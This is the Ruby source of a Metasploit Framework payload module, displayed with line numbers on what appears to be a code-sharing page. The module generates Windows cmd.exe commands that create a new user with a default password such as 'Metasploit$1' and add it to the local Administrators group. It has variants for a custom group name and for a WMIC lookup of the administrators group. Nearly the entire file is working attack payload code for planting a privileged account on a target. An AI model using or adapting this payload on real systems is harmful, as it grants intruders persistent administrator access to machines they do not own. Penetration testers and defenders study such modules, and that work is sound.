Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
module MetasploitModule
8

9
  CachedSize = 97
10

11
  include Msf::Payload::Single
12
  include Msf::Sessions::CommandShellOptions
13

14
  def initialize(info = {})
15
    super(merge_info(info,
16
      'Name'        => 'Windows Execute net user /ADD CMD',
17
      'Description' => %q{
18
        Create a new user and add them to local administration group.
19

20
        Note: The specified password is checked for common complexity
21
        requirements to prevent the target machine rejecting the user
22
        for failing to meet policy requirements.
23

24
        Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)
25
      },
26
      'Author'      => ['hdm','scriptjunkie','Chris John Riley'],
27
      'License'     => MSF_LICENSE,
28
      'Platform'    => 'win',
29
      'Arch'        => ARCH_CMD,
30
      'Handler'     => Msf::Handler::None,
31
      'Session'     => Msf::Sessions::CommandShell,
32
      'PayloadType' => 'cmd',
33
      'RequiredCmd' => 'generic',
34
      'Payload'     =>
35
        {
36
          'Offsets' => { },
37
          'Payload' => ''
38
        }
39
      ))
40

41
    register_options(
42
      [
43
        OptString.new('USER', [ true, "The username to create",     "metasploit" ]),
44
        OptString.new('PASS', [ true, "The password for this user", "Metasploit$1" ]),
45
        OptString.new('CUSTOM', [ false, "Custom group name to be used instead of default", '' ]),
46
        OptBool.new('WMIC',	[ true, "Use WMIC on the target to resolve administrators group", false ]),
47
      ])
48

49
    register_advanced_options(
50
      [
51
        OptBool.new("COMPLEXITY", [ true, "Check password for complexity rules", true ]),
52
      ])
53

54
  end
55

56
  def generate(_opts = {})
57
    return super + command_string
58
  end
59

60
  def command_string
61
    user = datastore['USER'] || 'metasploit'
62
    pass = datastore['PASS'] || ''
63
    cust = datastore['CUSTOM'] || ''
64
    wmic = datastore['WMIC']
65
    complexity = datastore['COMPLEXITY']
66

67
    if(pass.length > 14)
68
      raise ArgumentError, "Password for the adduser payload must be 14 characters or less"
69
    end
70

71
    if complexity and pass !~ /\A^.*((?=.{8,})(?=.*[a-z])(?=.*[A-Z])(?=.*[\d\W])).*$/
72
      raise ArgumentError, "Password: #{pass} doesn't meet complexity requirements and may cause issues"
73
    end
74

75
    if not cust.empty?
76
      print_status("Using custom group name #{cust}")
77
      return "cmd.exe /c net user #{user} #{pass} /ADD && " +
78
        "net localgroup \"#{cust}\" #{user} /ADD"
79
    elsif wmic
80
      print_status("Using WMIC to discover the administrative group name")
81
      return "cmd.exe /c \"FOR /F \"usebackq tokens=2* skip=1 delims==\" " +
82
        "%G IN (`wmic group where sid^='S-1-5-32-544' get name /Value`); do " +
83
        "FOR /F \"usebackq tokens=1 delims==\" %X IN (`echo %G`); do " +
84
        "net user #{user} #{pass} /ADD && " +
85
        "net localgroup \"%X\" #{user} /ADD\""
86
    else
87
      return "cmd.exe /c net user #{user} #{pass} /ADD && " +
88
        "net localgroup Administrators #{user} /ADD"
89
    end
90

91
  end
92
end
93

94